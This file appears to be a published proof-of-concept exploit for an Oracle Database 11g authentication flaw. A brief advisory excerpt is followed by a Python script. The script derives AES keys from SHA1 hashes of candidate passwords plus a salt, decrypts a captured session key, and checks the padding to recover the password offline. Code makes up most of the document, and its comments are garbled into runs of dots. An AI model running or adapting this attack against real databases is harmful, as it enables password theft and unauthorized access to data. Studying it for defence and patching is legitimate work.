37 lines
No EOL
1.4 KiB
Python
Executable file
37 lines
No EOL
1.4 KiB
Python
Executable file
source: https://www.securityfocus.com/bid/55651/info
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Oracle Database is prone to a remote security-bypass vulnerability that affects the authentication protocol.
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An attacker can exploit this issue to bypass the authentication process and gain unauthorized access to the database.
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This vulnerability affects Oracle Database 11g Release 1 and 11g Release 2.
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#-*-coding:utf8 -*-
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import hashlib
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from Crypto.Cipher import AES
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def decrypt(session,salt,password):
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pass_hash = hashlib.sha1(password+salt)
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#......... ..... ..... .......... .. 24 ....
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key = pass_hash.digest() + '\x00\x00\x00\x00'
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decryptor = AES.new(key,AES.MODE_CBC)
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plain = decryptor.decrypt(session)
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return plain
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#............. ........... ...... 48 ....
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session_hex = 'EA2043CB8B46E3864311C68BDC161F8CA170363C1E6F57F3EBC6435F541A8239B6DBA16EAAB5422553A7598143E78767'
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#.... 10 ....
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salt_hex = 'A7193E546377EC56639E'
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passwords = ['test','password','oracle','demo']
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for password in passwords:
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session_id = decrypt(session_hex.decode('hex'),salt_hex.decode('hex'),password)
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print 'Decrypted session_id for password "%s" is %s' % (password,session_id.encode('hex'))
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if session_id[40:] == '\x08\x08\x08\x08\x08\x08\x08\x08':
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print 'PASSWORD IS "%s"' % password
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break |